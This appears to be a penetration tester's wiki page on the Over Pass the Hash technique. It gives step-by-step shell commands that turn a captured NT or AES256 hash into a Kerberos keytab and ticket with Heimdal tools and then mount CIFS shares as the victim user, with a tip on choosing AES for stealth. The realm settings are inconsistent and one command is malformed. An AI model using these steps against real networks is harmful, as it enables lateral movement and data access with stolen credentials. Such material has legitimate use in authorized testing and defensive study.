Skip to content

Over Pass the Hash (OPtH) ​

Objective ​

During internal engagement, it is common to end up with the NT hash of a user. The following article will show how to use that hash to configure Kerberos authentication.

Furthermore, we'll use that Kerberos authentication to mount CIFS shares.

References ​

Special thanks to Exorcyst, n00py and ropnp! I would not have figured out how do it without them.

Configuration ​

I'm using an LXD container running Debian 10

shell
# container has to be privileged to mount.cifs
$ incus launch images:debian/10 -c security.privileged=true pth-kerberos

Install the required package:

shell
$ sudo apt-get install heimdal-client

Configure /etc/krb5.conf

[libdefaults]
        default_realm = EXAMPLE.COM

        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true

        fcc-mit-ticketflags = true

[realms]
        LAB.BREAKME.CA = {
                kdc = DC.EXAMPLE.COM
                admin_server = DC.EXAMPLE.COM
        }

Create /etc/krb5.keytab

Kerberos wants all caps

shell
# NT hash
$ sudo ktutil.heimdal -k /etc/krb5.keytab add -p <username@FQDN> -e arcfour-hmac-md5 -w <NT hash> --hex -V 5
# For better OPSEC, use AES256
$ sudo ktutil.heimdal -k /etc/krb5.keytab add -p <username@FQDN> -e aes256-cts-hmac-sha1-96 w <aes256 hash> --hex -V 5

Get a TGT

shell
$ kinit.heimdal -t /etc/krb5.keytab <username>@<FQDN>

Mount a CIFS share using Kerberos

shell
$ mount -t cifs -o sec=krb5,vers=2.1, '//<FQDN of server>/<share name>' <mountpoint> -vv

Updated at: